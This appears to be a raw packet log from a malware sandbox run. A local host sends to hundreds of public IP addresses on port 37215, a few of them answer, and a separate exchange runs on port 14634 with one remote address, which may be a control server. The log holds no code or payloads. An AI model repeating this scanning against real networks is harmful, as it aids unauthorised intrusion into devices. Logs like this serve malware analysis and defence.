Dec 30, 2023 07:14:06.439626932 CET	3641	37215	192.168.2.23	156.129.86.175
Dec 30, 2023 07:14:06.439626932 CET	3641	37215	192.168.2.23	41.10.210.183
Dec 30, 2023 07:14:06.439626932 CET	3641	37215	192.168.2.23	156.117.3.80
Dec 30, 2023 07:14:06.439626932 CET	3641	37215	192.168.2.23	41.181.9.230
Dec 30, 2023 07:14:06.439646006 CET	3641	37215	192.168.2.23	41.56.248.134
Dec 30, 2023 07:14:06.439646959 CET	3641	37215	192.168.2.23	156.106.141.119
Dec 30, 2023 07:14:06.439647913 CET	3641	37215	192.168.2.23	196.148.166.182
Dec 30, 2023 07:14:06.439647913 CET	3641	37215	192.168.2.23	197.62.91.148
Dec 30, 2023 07:14:06.439647913 CET	3641	37215	192.168.2.23	107.61.162.103
Dec 30, 2023 07:14:06.439671993 CET	3641	37215	192.168.2.23	156.249.228.3
Dec 30, 2023 07:14:06.439681053 CET	3641	37215	192.168.2.23	120.246.107.1
Dec 30, 2023 07:14:06.439682007 CET	3641	37215	192.168.2.23	41.208.228.150
Dec 30, 2023 07:14:06.439682007 CET	3641	37215	192.168.2.23	41.39.114.16
Dec 30, 2023 07:14:06.439682007 CET	3641	37215	192.168.2.23	156.134.4.102
Dec 30, 2023 07:14:06.439685106 CET	3641	37215	192.168.2.23	138.183.96.22
Dec 30, 2023 07:14:06.439686060 CET	3641	37215	192.168.2.23	197.52.77.221
Dec 30, 2023 07:14:06.439707994 CET	3641	37215	192.168.2.23	107.250.7.166
Dec 30, 2023 07:14:06.439711094 CET	3641	37215	192.168.2.23	122.33.43.128
Dec 30, 2023 07:14:06.439713001 CET	3641	37215	192.168.2.23	160.235.63.226
Dec 30, 2023 07:14:06.439713001 CET	3641	37215	192.168.2.23	41.65.40.50
Dec 30, 2023 07:14:06.439713001 CET	3641	37215	192.168.2.23	156.93.251.78
Dec 30, 2023 07:14:06.439726114 CET	3641	37215	192.168.2.23	197.10.117.199
Dec 30, 2023 07:14:06.439730883 CET	3641	37215	192.168.2.23	160.234.0.92
Dec 30, 2023 07:14:06.439733982 CET	3641	37215	192.168.2.23	45.51.214.169
Dec 30, 2023 07:14:06.439734936 CET	3641	37215	192.168.2.23	181.228.143.157
Dec 30, 2023 07:14:06.439747095 CET	3641	37215	192.168.2.23	122.228.200.76
Dec 30, 2023 07:14:06.439754963 CET	3641	37215	192.168.2.23	197.117.75.120
Dec 30, 2023 07:14:06.439755917 CET	3641	37215	192.168.2.23	197.48.144.32
Dec 30, 2023 07:14:06.439769030 CET	3641	37215	192.168.2.23	197.163.45.145
Dec 30, 2023 07:14:06.439773083 CET	3641	37215	192.168.2.23	196.136.183.21
Dec 30, 2023 07:14:06.439775944 CET	3641	37215	192.168.2.23	190.174.235.188
Dec 30, 2023 07:14:06.439789057 CET	3641	37215	192.168.2.23	41.120.73.84
Dec 30, 2023 07:14:06.439790010 CET	3641	37215	192.168.2.23	156.89.187.30
Dec 30, 2023 07:14:06.439790010 CET	3641	37215	192.168.2.23	41.191.210.147
Dec 30, 2023 07:14:06.439799070 CET	3641	37215	192.168.2.23	154.195.136.94
Dec 30, 2023 07:14:06.439810991 CET	3641	37215	192.168.2.23	197.220.220.151
Dec 30, 2023 07:14:06.439810991 CET	3641	37215	192.168.2.23	190.141.161.113
Dec 30, 2023 07:14:06.439815044 CET	3641	37215	192.168.2.23	197.155.22.31
Dec 30, 2023 07:14:06.439817905 CET	3641	37215	192.168.2.23	197.73.252.174
Dec 30, 2023 07:14:06.439829111 CET	3641	37215	192.168.2.23	95.131.9.3
Dec 30, 2023 07:14:06.439831018 CET	3641	37215	192.168.2.23	197.27.148.198
Dec 30, 2023 07:14:06.439832926 CET	3641	37215	192.168.2.23	222.137.57.255
Dec 30, 2023 07:14:06.439846992 CET	3641	37215	192.168.2.23	197.89.166.218
Dec 30, 2023 07:14:06.439847946 CET	3641	37215	192.168.2.23	92.30.183.162
Dec 30, 2023 07:14:06.439847946 CET	3641	37215	192.168.2.23	120.160.31.214
Dec 30, 2023 07:14:06.439847946 CET	3641	37215	192.168.2.23	138.16.3.213
Dec 30, 2023 07:14:06.439856052 CET	3641	37215	192.168.2.23	41.100.93.197
Dec 30, 2023 07:14:06.439860106 CET	3641	37215	192.168.2.23	190.102.195.237
Dec 30, 2023 07:14:06.439877033 CET	3641	37215	192.168.2.23	197.233.86.124
Dec 30, 2023 07:14:06.439877987 CET	3641	37215	192.168.2.23	41.110.30.214
Dec 30, 2023 07:14:06.439877987 CET	3641	37215	192.168.2.23	197.9.191.229
Dec 30, 2023 07:14:06.439878941 CET	3641	37215	192.168.2.23	197.78.84.76
Dec 30, 2023 07:14:06.439883947 CET	3641	37215	192.168.2.23	197.20.184.195
Dec 30, 2023 07:14:06.439884901 CET	3641	37215	192.168.2.23	222.84.193.184
Dec 30, 2023 07:14:06.439893961 CET	3641	37215	192.168.2.23	102.169.88.64
Dec 30, 2023 07:14:06.439901114 CET	3641	37215	192.168.2.23	197.142.250.6
Dec 30, 2023 07:14:06.439902067 CET	3641	37215	192.168.2.23	197.156.28.247
Dec 30, 2023 07:14:06.439907074 CET	3641	37215	192.168.2.23	41.137.130.131
Dec 30, 2023 07:14:06.439912081 CET	3641	37215	192.168.2.23	41.42.190.112
Dec 30, 2023 07:14:06.439918995 CET	3641	37215	192.168.2.23	160.93.69.131
Dec 30, 2023 07:14:06.439920902 CET	3641	37215	192.168.2.23	156.122.201.108
Dec 30, 2023 07:14:06.439932108 CET	3641	37215	192.168.2.23	156.113.213.51
Dec 30, 2023 07:14:06.439939022 CET	3641	37215	192.168.2.23	154.206.78.159
Dec 30, 2023 07:14:06.439949989 CET	3641	37215	192.168.2.23	156.182.20.245
Dec 30, 2023 07:14:06.439949989 CET	3641	37215	192.168.2.23	160.99.163.221
Dec 30, 2023 07:14:06.439955950 CET	3641	37215	192.168.2.23	94.192.239.236
Dec 30, 2023 07:14:06.439960957 CET	3641	37215	192.168.2.23	197.188.192.153
Dec 30, 2023 07:14:06.439966917 CET	3641	37215	192.168.2.23	156.145.0.112
Dec 30, 2023 07:14:06.439966917 CET	3641	37215	192.168.2.23	156.178.25.234
Dec 30, 2023 07:14:06.439966917 CET	3641	37215	192.168.2.23	156.24.23.116
Dec 30, 2023 07:14:06.439984083 CET	3641	37215	192.168.2.23	157.194.153.163
Dec 30, 2023 07:14:06.439984083 CET	3641	37215	192.168.2.23	41.8.233.106
Dec 30, 2023 07:14:06.439986944 CET	3641	37215	192.168.2.23	41.17.182.20
Dec 30, 2023 07:14:06.439986944 CET	3641	37215	192.168.2.23	41.66.71.118
Dec 30, 2023 07:14:06.439986944 CET	3641	37215	192.168.2.23	41.237.199.175
Dec 30, 2023 07:14:06.440004110 CET	3641	37215	192.168.2.23	190.155.185.27
Dec 30, 2023 07:14:06.440007925 CET	3641	37215	192.168.2.23	156.10.167.35
Dec 30, 2023 07:14:06.440009117 CET	3641	37215	192.168.2.23	197.42.100.52
Dec 30, 2023 07:14:06.440012932 CET	3641	37215	192.168.2.23	94.231.125.131
Dec 30, 2023 07:14:06.440018892 CET	3641	37215	192.168.2.23	196.214.132.9
Dec 30, 2023 07:14:06.440018892 CET	3641	37215	192.168.2.23	197.73.68.137
Dec 30, 2023 07:14:06.440023899 CET	3641	37215	192.168.2.23	197.198.111.46
Dec 30, 2023 07:14:06.440030098 CET	3641	37215	192.168.2.23	190.156.127.234
Dec 30, 2023 07:14:06.440041065 CET	3641	37215	192.168.2.23	154.132.193.220
Dec 30, 2023 07:14:06.440042019 CET	3641	37215	192.168.2.23	154.77.196.234
Dec 30, 2023 07:14:06.440048933 CET	3641	37215	192.168.2.23	41.190.115.111
Dec 30, 2023 07:14:06.440052032 CET	3641	37215	192.168.2.23	41.47.134.209
Dec 30, 2023 07:14:06.440068007 CET	3641	37215	192.168.2.23	94.54.150.238
Dec 30, 2023 07:14:06.440068007 CET	3641	37215	192.168.2.23	197.34.132.198
Dec 30, 2023 07:14:06.440068960 CET	3641	37215	192.168.2.23	156.72.159.154
Dec 30, 2023 07:14:06.440068007 CET	3641	37215	192.168.2.23	107.253.107.8
Dec 30, 2023 07:14:06.440068960 CET	3641	37215	192.168.2.23	41.221.215.227
Dec 30, 2023 07:14:06.440077066 CET	3641	37215	192.168.2.23	156.106.94.252
Dec 30, 2023 07:14:06.601912022 CET	37215	3641	156.73.246.171	192.168.2.23
Dec 30, 2023 07:14:06.601969004 CET	3641	37215	192.168.2.23	156.73.246.171
Dec 30, 2023 07:14:06.605413914 CET	37215	3641	156.73.147.174	192.168.2.23
Dec 30, 2023 07:14:06.605457067 CET	3641	37215	192.168.2.23	156.73.147.174
Dec 30, 2023 07:14:06.677635908 CET	37215	3641	154.195.136.94	192.168.2.23
Dec 30, 2023 07:14:06.703918934 CET	37215	3641	154.18.1.72	192.168.2.23
Dec 30, 2023 07:14:06.706881046 CET	37215	3641	122.214.118.18	192.168.2.23
Dec 30, 2023 07:14:06.734715939 CET	37215	3641	190.231.217.205	192.168.2.23
Dec 30, 2023 07:14:06.742409945 CET	37215	3641	45.7.243.213	192.168.2.23
Dec 30, 2023 07:14:06.742863894 CET	37215	3641	122.228.200.76	192.168.2.23
Dec 30, 2023 07:14:06.742909908 CET	3641	37215	192.168.2.23	122.228.200.76
Dec 30, 2023 07:14:06.766344070 CET	37215	3641	222.74.182.134	192.168.2.23
Dec 30, 2023 07:14:06.798357964 CET	37215	3641	120.246.107.1	192.168.2.23
Dec 30, 2023 07:14:06.806082010 CET	37215	3641	197.9.191.229	192.168.2.23
Dec 30, 2023 07:14:06.855617046 CET	37215	3641	41.190.115.111	192.168.2.23
Dec 30, 2023 07:14:06.879544973 CET	37215	3641	41.209.33.111	192.168.2.23
Dec 30, 2023 07:14:07.057924986 CET	37215	3641	186.51.56.56	192.168.2.23
Dec 30, 2023 07:14:07.423963070 CET	14634	42724	89.190.156.5	192.168.2.23
Dec 30, 2023 07:14:07.424012899 CET	42724	14634	192.168.2.23	89.190.156.5
Dec 30, 2023 07:14:07.441102982 CET	3641	37215	192.168.2.23	120.200.117.234
Dec 30, 2023 07:14:07.441102028 CET	3641	37215	192.168.2.23	156.60.4.101
Dec 30, 2023 07:14:07.441107988 CET	3641	37215	192.168.2.23	197.117.230.221
Dec 30, 2023 07:14:07.441118956 CET	3641	37215	192.168.2.23	41.37.46.158
Dec 30, 2023 07:14:07.441133976 CET	3641	37215	192.168.2.23	156.244.129.32
Dec 30, 2023 07:14:07.441135883 CET	3641	37215	192.168.2.23	197.10.96.108
Dec 30, 2023 07:14:07.441135883 CET	3641	37215	192.168.2.23	156.101.158.72
Dec 30, 2023 07:14:07.441135883 CET	3641	37215	192.168.2.23	45.12.21.167
Dec 30, 2023 07:14:07.441135883 CET	3641	37215	192.168.2.23	122.143.142.108
Dec 30, 2023 07:14:07.441139936 CET	3641	37215	192.168.2.23	197.218.169.97
Dec 30, 2023 07:14:07.441154003 CET	3641	37215	192.168.2.23	222.168.243.240
Dec 30, 2023 07:14:07.441160917 CET	3641	37215	192.168.2.23	102.119.130.143
Dec 30, 2023 07:14:07.441163063 CET	3641	37215	192.168.2.23	197.251.213.25
Dec 30, 2023 07:14:07.441184998 CET	3641	37215	192.168.2.23	156.67.212.132
Dec 30, 2023 07:14:07.441195011 CET	3641	37215	192.168.2.23	92.118.62.200
Dec 30, 2023 07:14:07.441198111 CET	3641	37215	192.168.2.23	41.4.92.47
Dec 30, 2023 07:14:07.441198111 CET	3641	37215	192.168.2.23	197.65.76.104
Dec 30, 2023 07:14:07.441198111 CET	3641	37215	192.168.2.23	197.111.119.221
Dec 30, 2023 07:14:07.441198111 CET	3641	37215	192.168.2.23	41.220.61.101
Dec 30, 2023 07:14:07.441198111 CET	3641	37215	192.168.2.23	156.116.125.44
Dec 30, 2023 07:14:07.441198111 CET	3641	37215	192.168.2.23	156.171.131.20
Dec 30, 2023 07:14:07.441211939 CET	3641	37215	192.168.2.23	197.150.120.112
Dec 30, 2023 07:14:07.441214085 CET	3641	37215	192.168.2.23	45.119.183.66
Dec 30, 2023 07:14:07.441214085 CET	3641	37215	192.168.2.23	197.75.99.65
Dec 30, 2023 07:14:07.441214085 CET	3641	37215	192.168.2.23	41.145.194.1
Dec 30, 2023 07:14:07.441215992 CET	3641	37215	192.168.2.23	197.152.183.24
Dec 30, 2023 07:14:07.441214085 CET	3641	37215	192.168.2.23	156.77.82.243
Dec 30, 2023 07:14:07.441214085 CET	3641	37215	192.168.2.23	41.22.187.119
Dec 30, 2023 07:14:07.441214085 CET	3641	37215	192.168.2.23	181.131.243.253
Dec 30, 2023 07:14:07.441214085 CET	3641	37215	192.168.2.23	41.215.205.70
Dec 30, 2023 07:14:07.441215992 CET	3641	37215	192.168.2.23	197.109.175.95
Dec 30, 2023 07:14:07.441215992 CET	3641	37215	192.168.2.23	41.118.51.95
Dec 30, 2023 07:14:07.441215992 CET	3641	37215	192.168.2.23	156.16.30.174
Dec 30, 2023 07:14:07.441215992 CET	3641	37215	192.168.2.23	156.186.20.238
Dec 30, 2023 07:14:07.441232920 CET	3641	37215	192.168.2.23	94.79.124.225
Dec 30, 2023 07:14:07.441241026 CET	3641	37215	192.168.2.23	37.212.39.69
Dec 30, 2023 07:14:07.441241026 CET	3641	37215	192.168.2.23	41.3.45.139
Dec 30, 2023 07:14:07.441241026 CET	3641	37215	192.168.2.23	197.148.235.232
Dec 30, 2023 07:14:07.441242933 CET	3641	37215	192.168.2.23	95.14.173.17
Dec 30, 2023 07:14:07.441243887 CET	3641	37215	192.168.2.23	181.30.221.168
Dec 30, 2023 07:14:07.441242933 CET	3641	37215	192.168.2.23	197.176.119.217
Dec 30, 2023 07:14:07.441248894 CET	3641	37215	192.168.2.23	156.44.182.49
Dec 30, 2023 07:14:07.441252947 CET	3641	37215	192.168.2.23	41.58.213.189
Dec 30, 2023 07:14:07.441253901 CET	3641	37215	192.168.2.23	156.169.224.180
Dec 30, 2023 07:14:07.441253901 CET	3641	37215	192.168.2.23	197.208.124.160
Dec 30, 2023 07:14:07.441257954 CET	3641	37215	192.168.2.23	222.218.82.200
Dec 30, 2023 07:14:07.441257954 CET	3641	37215	192.168.2.23	197.161.229.149
Dec 30, 2023 07:14:07.441257954 CET	3641	37215	192.168.2.23	197.66.247.17
Dec 30, 2023 07:14:07.441261053 CET	3641	37215	192.168.2.23	41.118.102.92
Dec 30, 2023 07:14:07.441262007 CET	3641	37215	192.168.2.23	156.97.41.131
Dec 30, 2023 07:14:07.441262007 CET	3641	37215	192.168.2.23	197.233.221.234
Dec 30, 2023 07:14:07.441262007 CET	3641	37215	192.168.2.23	41.96.127.71
Dec 30, 2023 07:14:07.441262007 CET	3641	37215	192.168.2.23	190.199.50.212
Dec 30, 2023 07:14:07.441272020 CET	3641	37215	192.168.2.23	160.63.154.211
Dec 30, 2023 07:14:07.441272020 CET	3641	37215	192.168.2.23	222.229.34.200
Dec 30, 2023 07:14:07.441273928 CET	3641	37215	192.168.2.23	156.150.248.91
Dec 30, 2023 07:14:07.441273928 CET	3641	37215	192.168.2.23	41.62.215.162
Dec 30, 2023 07:14:07.441292048 CET	3641	37215	192.168.2.23	181.224.34.162
Dec 30, 2023 07:14:07.441292048 CET	3641	37215	192.168.2.23	154.139.100.21
Dec 30, 2023 07:14:07.441297054 CET	3641	37215	192.168.2.23	45.68.18.23
Dec 30, 2023 07:14:07.441308022 CET	3641	37215	192.168.2.23	92.82.143.143
Dec 30, 2023 07:14:07.441308975 CET	3641	37215	192.168.2.23	156.56.191.238
Dec 30, 2023 07:14:07.441308975 CET	3641	37215	192.168.2.23	156.12.25.35
Dec 30, 2023 07:14:07.441314936 CET	3641	37215	192.168.2.23	197.171.146.242
Dec 30, 2023 07:14:07.441323042 CET	3641	37215	192.168.2.23	45.198.130.50
Dec 30, 2023 07:14:07.441327095 CET	3641	37215	192.168.2.23	41.225.207.160
Dec 30, 2023 07:14:07.441328049 CET	3641	37215	192.168.2.23	120.126.85.74
Dec 30, 2023 07:14:07.441329002 CET	3641	37215	192.168.2.23	197.17.67.218
Dec 30, 2023 07:14:07.441329956 CET	3641	37215	192.168.2.23	197.195.219.77
Dec 30, 2023 07:14:07.441330910 CET	3641	37215	192.168.2.23	94.187.49.78
Dec 30, 2023 07:14:07.441329956 CET	3641	37215	192.168.2.23	186.20.19.250
Dec 30, 2023 07:14:07.441329956 CET	3641	37215	192.168.2.23	107.229.221.245
Dec 30, 2023 07:14:07.441329956 CET	3641	37215	192.168.2.23	197.245.161.204
Dec 30, 2023 07:14:07.441329956 CET	3641	37215	192.168.2.23	156.28.131.102
Dec 30, 2023 07:14:07.441339970 CET	3641	37215	192.168.2.23	197.247.167.175
Dec 30, 2023 07:14:07.441343069 CET	3641	37215	192.168.2.23	197.64.55.240
Dec 30, 2023 07:14:07.441364050 CET	3641	37215	192.168.2.23	107.199.152.116
Dec 30, 2023 07:14:07.441361904 CET	3641	37215	192.168.2.23	196.232.99.161
Dec 30, 2023 07:14:07.441361904 CET	3641	37215	192.168.2.23	197.205.56.244
Dec 30, 2023 07:14:07.441368103 CET	3641	37215	192.168.2.23	156.74.189.156
Dec 30, 2023 07:14:07.441369057 CET	3641	37215	192.168.2.23	197.20.96.203
Dec 30, 2023 07:14:07.441370010 CET	3641	37215	192.168.2.23	41.78.111.66
Dec 30, 2023 07:14:07.441369057 CET	3641	37215	192.168.2.23	197.172.59.193
Dec 30, 2023 07:14:07.441370010 CET	3641	37215	192.168.2.23	197.246.185.167
Dec 30, 2023 07:14:07.441374063 CET	3641	37215	192.168.2.23	156.30.96.246
Dec 30, 2023 07:14:07.441395044 CET	3641	37215	192.168.2.23	160.225.51.141
Dec 30, 2023 07:14:07.441395998 CET	3641	37215	192.168.2.23	41.228.230.84
Dec 30, 2023 07:14:07.441412926 CET	3641	37215	192.168.2.23	45.7.89.201
Dec 30, 2023 07:14:07.441412926 CET	3641	37215	192.168.2.23	197.185.243.12
Dec 30, 2023 07:14:07.441412926 CET	3641	37215	192.168.2.23	41.43.151.54
Dec 30, 2023 07:14:07.441412926 CET	3641	37215	192.168.2.23	154.223.109.25
Dec 30, 2023 07:14:07.441412926 CET	3641	37215	192.168.2.23	41.111.171.75
Dec 30, 2023 07:14:07.441412926 CET	3641	37215	192.168.2.23	160.47.179.22
Dec 30, 2023 07:14:07.441412926 CET	3641	37215	192.168.2.23	102.26.215.45
Dec 30, 2023 07:14:07.441446066 CET	3641	37215	192.168.2.23	197.83.223.180
Dec 30, 2023 07:14:07.441446066 CET	3641	37215	192.168.2.23	222.245.126.132
Dec 30, 2023 07:14:07.441447020 CET	3641	37215	192.168.2.23	41.68.219.36
Dec 30, 2023 07:14:07.441447020 CET	3641	37215	192.168.2.23	41.160.72.168
Dec 30, 2023 07:14:07.441447973 CET	3641	37215	192.168.2.23	196.145.233.121
Dec 30, 2023 07:14:07.441450119 CET	3641	37215	192.168.2.23	156.19.225.20
Dec 30, 2023 07:14:07.441450119 CET	3641	37215	192.168.2.23	41.137.76.177
Dec 30, 2023 07:14:07.441450119 CET	3641	37215	192.168.2.23	41.70.58.209
Dec 30, 2023 07:14:07.441457987 CET	3641	37215	192.168.2.23	156.96.103.157
Dec 30, 2023 07:14:07.441462040 CET	3641	37215	192.168.2.23	197.245.155.23
Dec 30, 2023 07:14:07.441462040 CET	3641	37215	192.168.2.23	186.252.146.206
Dec 30, 2023 07:14:07.441462040 CET	3641	37215	192.168.2.23	197.192.66.122
Dec 30, 2023 07:14:07.441462994 CET	3641	37215	192.168.2.23	156.82.34.224
Dec 30, 2023 07:14:07.441463947 CET	3641	37215	192.168.2.23	92.177.78.18
Dec 30, 2023 07:14:07.441463947 CET	3641	37215	192.168.2.23	41.254.181.163
Dec 30, 2023 07:14:07.441463947 CET	3641	37215	192.168.2.23	160.220.246.126
Dec 30, 2023 07:14:07.441474915 CET	3641	37215	192.168.2.23	41.229.110.30
Dec 30, 2023 07:14:07.441477060 CET	3641	37215	192.168.2.23	197.208.29.95
Dec 30, 2023 07:14:07.441477060 CET	3641	37215	192.168.2.23	197.47.31.176
Dec 30, 2023 07:14:07.441477060 CET	3641	37215	192.168.2.23	94.214.77.206
Dec 30, 2023 07:14:07.441477060 CET	3641	37215	192.168.2.23	197.26.143.162
Dec 30, 2023 07:14:07.441478014 CET	3641	37215	192.168.2.23	41.150.10.209
Dec 30, 2023 07:14:07.441478014 CET	3641	37215	192.168.2.23	41.19.112.201
Dec 30, 2023 07:14:07.441478014 CET	3641	37215	192.168.2.23	41.119.82.221
Dec 30, 2023 07:14:07.441478014 CET	3641	37215	192.168.2.23	197.7.98.138
Dec 30, 2023 07:14:07.441488028 CET	3641	37215	192.168.2.23	45.184.25.109
Dec 30, 2023 07:14:07.441488028 CET	3641	37215	192.168.2.23	156.22.198.102
Dec 30, 2023 07:14:07.441490889 CET	3641	37215	192.168.2.23	197.218.57.185
Dec 30, 2023 07:14:07.441492081 CET	3641	37215	192.168.2.23	197.241.119.12
Dec 30, 2023 07:14:07.441492081 CET	3641	37215	192.168.2.23	41.226.45.34
Dec 30, 2023 07:14:07.441493988 CET	3641	37215	192.168.2.23	37.32.160.129
Dec 30, 2023 07:14:07.441493988 CET	3641	37215	192.168.2.23	41.142.78.57
Dec 30, 2023 07:14:07.441493988 CET	3641	37215	192.168.2.23	37.69.154.137
Dec 30, 2023 07:14:07.441499949 CET	3641	37215	192.168.2.23	156.0.152.190
Dec 30, 2023 07:14:07.441499949 CET	3641	37215	192.168.2.23	41.57.211.191
Dec 30, 2023 07:14:07.441502094 CET	3641	37215	192.168.2.23	156.135.87.44
Dec 30, 2023 07:14:07.441502094 CET	3641	37215	192.168.2.23	197.154.153.115
Dec 30, 2023 07:14:07.441502094 CET	3641	37215	192.168.2.23	197.58.158.207
Dec 30, 2023 07:14:07.441502094 CET	3641	37215	192.168.2.23	222.27.72.176
Dec 30, 2023 07:14:07.441504955 CET	3641	37215	192.168.2.23	156.244.39.145
Dec 30, 2023 07:14:07.441510916 CET	3641	37215	192.168.2.23	95.39.53.179
Dec 30, 2023 07:14:07.441513062 CET	3641	37215	192.168.2.23	120.104.201.89
Dec 30, 2023 07:14:07.441513062 CET	3641	37215	192.168.2.23	41.53.245.223
Dec 30, 2023 07:14:07.441514969 CET	3641	37215	192.168.2.23	45.149.52.78
Dec 30, 2023 07:14:07.441514969 CET	3641	37215	192.168.2.23	41.163.24.170
Dec 30, 2023 07:14:07.441514969 CET	3641	37215	192.168.2.23	197.108.61.184
Dec 30, 2023 07:14:07.441517115 CET	3641	37215	192.168.2.23	41.238.136.103
Dec 30, 2023 07:14:07.441523075 CET	3641	37215	192.168.2.23	190.42.174.75
Dec 30, 2023 07:14:07.441524029 CET	3641	37215	192.168.2.23	190.228.16.57
Dec 30, 2023 07:14:07.441525936 CET	3641	37215	192.168.2.23	120.48.73.175
Dec 30, 2023 07:14:07.441536903 CET	3641	37215	192.168.2.23	190.244.251.181
Dec 30, 2023 07:14:07.441536903 CET	3641	37215	192.168.2.23	156.89.235.217
Dec 30, 2023 07:14:07.441538095 CET	3641	37215	192.168.2.23	41.127.197.213
Dec 30, 2023 07:14:07.441546917 CET	3641	37215	192.168.2.23	156.149.84.223
Dec 30, 2023 07:14:07.441548109 CET	3641	37215	192.168.2.23	197.177.8.98
Dec 30, 2023 07:14:07.441560030 CET	3641	37215	192.168.2.23	138.103.199.158
Dec 30, 2023 07:14:07.441562891 CET	3641	37215	192.168.2.23	197.95.129.153
Dec 30, 2023 07:14:07.441562891 CET	3641	37215	192.168.2.23	156.14.14.121
Dec 30, 2023 07:14:07.441570044 CET	3641	37215	192.168.2.23	197.215.12.44
Dec 30, 2023 07:14:07.441582918 CET	3641	37215	192.168.2.23	197.47.209.196
Dec 30, 2023 07:14:07.441586971 CET	3641	37215	192.168.2.23	156.156.80.86
Dec 30, 2023 07:14:07.441586971 CET	3641	37215	192.168.2.23	197.187.23.151
Dec 30, 2023 07:14:07.441587925 CET	3641	37215	192.168.2.23	41.233.153.100
Dec 30, 2023 07:14:07.441589117 CET	3641	37215	192.168.2.23	197.224.63.48
Dec 30, 2023 07:14:07.441592932 CET	3641	37215	192.168.2.23	160.22.11.158
Dec 30, 2023 07:14:07.441600084 CET	3641	37215	192.168.2.23	122.169.37.130
Dec 30, 2023 07:14:07.441601038 CET	3641	37215	192.168.2.23	156.118.5.253
Dec 30, 2023 07:14:07.441601992 CET	3641	37215	192.168.2.23	120.240.199.192
Dec 30, 2023 07:14:07.441602945 CET	3641	37215	192.168.2.23	37.72.249.99
Dec 30, 2023 07:14:07.441606045 CET	3641	37215	192.168.2.23	37.133.83.194
Dec 30, 2023 07:14:07.441610098 CET	3641	37215	192.168.2.23	41.64.70.195
Dec 30, 2023 07:14:07.441612005 CET	3641	37215	192.168.2.23	41.149.255.213
Dec 30, 2023 07:14:07.441612959 CET	3641	37215	192.168.2.23	197.201.30.243
Dec 30, 2023 07:14:07.441616058 CET	3641	37215	192.168.2.23	156.240.192.19
Dec 30, 2023 07:14:07.441626072 CET	3641	37215	192.168.2.23	41.135.125.86
Dec 30, 2023 07:14:07.441626072 CET	3641	37215	192.168.2.23	41.221.199.129
Dec 30, 2023 07:14:07.441628933 CET	3641	37215	192.168.2.23	41.5.121.24
Dec 30, 2023 07:14:07.441629887 CET	3641	37215	192.168.2.23	41.37.163.4
Dec 30, 2023 07:14:07.441641092 CET	3641	37215	192.168.2.23	197.128.194.15
Dec 30, 2023 07:14:07.441647053 CET	3641	37215	192.168.2.23	160.173.10.191
Dec 30, 2023 07:14:07.441651106 CET	3641	37215	192.168.2.23	41.200.112.236
Dec 30, 2023 07:14:07.441657066 CET	3641	37215	192.168.2.23	94.16.58.203
Dec 30, 2023 07:14:07.441665888 CET	3641	37215	192.168.2.23	156.72.200.31
Dec 30, 2023 07:14:07.441665888 CET	3641	37215	192.168.2.23	156.26.2.182
Dec 30, 2023 07:14:07.441668034 CET	3641	37215	192.168.2.23	41.109.3.24
Dec 30, 2023 07:14:07.441678047 CET	3641	37215	192.168.2.23	186.49.149.6
Dec 30, 2023 07:14:07.441690922 CET	3641	37215	192.168.2.23	156.134.144.75
Dec 30, 2023 07:14:07.441693068 CET	3641	37215	192.168.2.23	120.70.141.111
Dec 30, 2023 07:14:07.441698074 CET	3641	37215	192.168.2.23	95.137.63.68
Dec 30, 2023 07:14:07.441698074 CET	3641	37215	192.168.2.23	181.130.172.183
Dec 30, 2023 07:14:07.441704988 CET	3641	37215	192.168.2.23	197.91.12.216
Dec 30, 2023 07:14:07.441709042 CET	3641	37215	192.168.2.23	120.154.47.213
Dec 30, 2023 07:14:07.441715956 CET	3641	37215	192.168.2.23	41.108.141.247
Dec 30, 2023 07:14:07.441719055 CET	3641	37215	192.168.2.23	197.130.110.131
Dec 30, 2023 07:14:07.441720963 CET	3641	37215	192.168.2.23	94.151.107.74
Dec 30, 2023 07:14:07.441725016 CET	3641	37215	192.168.2.23	156.127.216.234
Dec 30, 2023 07:14:07.441734076 CET	3641	37215	192.168.2.23	222.157.186.101
Dec 30, 2023 07:14:07.441734076 CET	3641	37215	192.168.2.23	197.203.40.40
Dec 30, 2023 07:14:07.441750050 CET	3641	37215	192.168.2.23	186.236.100.172
Dec 30, 2023 07:14:07.441751003 CET	3641	37215	192.168.2.23	121.101.215.32
Dec 30, 2023 07:14:07.441751957 CET	3641	37215	192.168.2.23	156.193.203.123
Dec 30, 2023 07:14:07.441751957 CET	3641	37215	192.168.2.23	41.211.242.93
Dec 30, 2023 07:14:07.441751957 CET	3641	37215	192.168.2.23	37.39.27.84
Dec 30, 2023 07:14:07.441762924 CET	3641	37215	192.168.2.23	41.252.35.17
Dec 30, 2023 07:14:07.441764116 CET	3641	37215	192.168.2.23	121.80.235.112
Dec 30, 2023 07:14:07.441771984 CET	3641	37215	192.168.2.23	121.122.202.10
Dec 30, 2023 07:14:07.441787004 CET	3641	37215	192.168.2.23	156.31.43.11
Dec 30, 2023 07:14:07.441790104 CET	3641	37215	192.168.2.23	197.89.215.193
Dec 30, 2023 07:14:07.441792965 CET	3641	37215	192.168.2.23	157.228.229.253
Dec 30, 2023 07:14:07.441804886 CET	3641	37215	192.168.2.23	157.91.111.212
Dec 30, 2023 07:14:07.441807032 CET	3641	37215	192.168.2.23	156.197.77.66
Dec 30, 2023 07:14:07.441816092 CET	3641	37215	192.168.2.23	156.198.83.28
Dec 30, 2023 07:14:07.441817999 CET	3641	37215	192.168.2.23	41.56.175.9
Dec 30, 2023 07:14:07.441819906 CET	3641	37215	192.168.2.23	156.156.152.111
Dec 30, 2023 07:14:07.441822052 CET	3641	37215	192.168.2.23	197.81.27.234
Dec 30, 2023 07:14:07.441824913 CET	3641	37215	192.168.2.23	156.95.181.120
Dec 30, 2023 07:14:07.441833973 CET	3641	37215	192.168.2.23	156.246.169.172
Dec 30, 2023 07:14:07.441842079 CET	3641	37215	192.168.2.23	156.131.36.183
Dec 30, 2023 07:14:07.441845894 CET	3641	37215	192.168.2.23	121.59.48.28
Dec 30, 2023 07:14:07.441845894 CET	3641	37215	192.168.2.23	222.54.148.200
Dec 30, 2023 07:14:07.441859961 CET	3641	37215	192.168.2.23	196.141.67.185
Dec 30, 2023 07:14:07.441862106 CET	3641	37215	192.168.2.23	156.243.201.113
Dec 30, 2023 07:14:07.441864967 CET	3641	37215	192.168.2.23	197.17.142.47
Dec 30, 2023 07:14:07.441868067 CET	3641	37215	192.168.2.23	41.196.193.195
Dec 30, 2023 07:14:07.441868067 CET	3641	37215	192.168.2.23	156.172.8.239
Dec 30, 2023 07:14:07.441868067 CET	3641	37215	192.168.2.23	156.216.12.138
Dec 30, 2023 07:14:07.441888094 CET	3641	37215	192.168.2.23	156.121.58.180
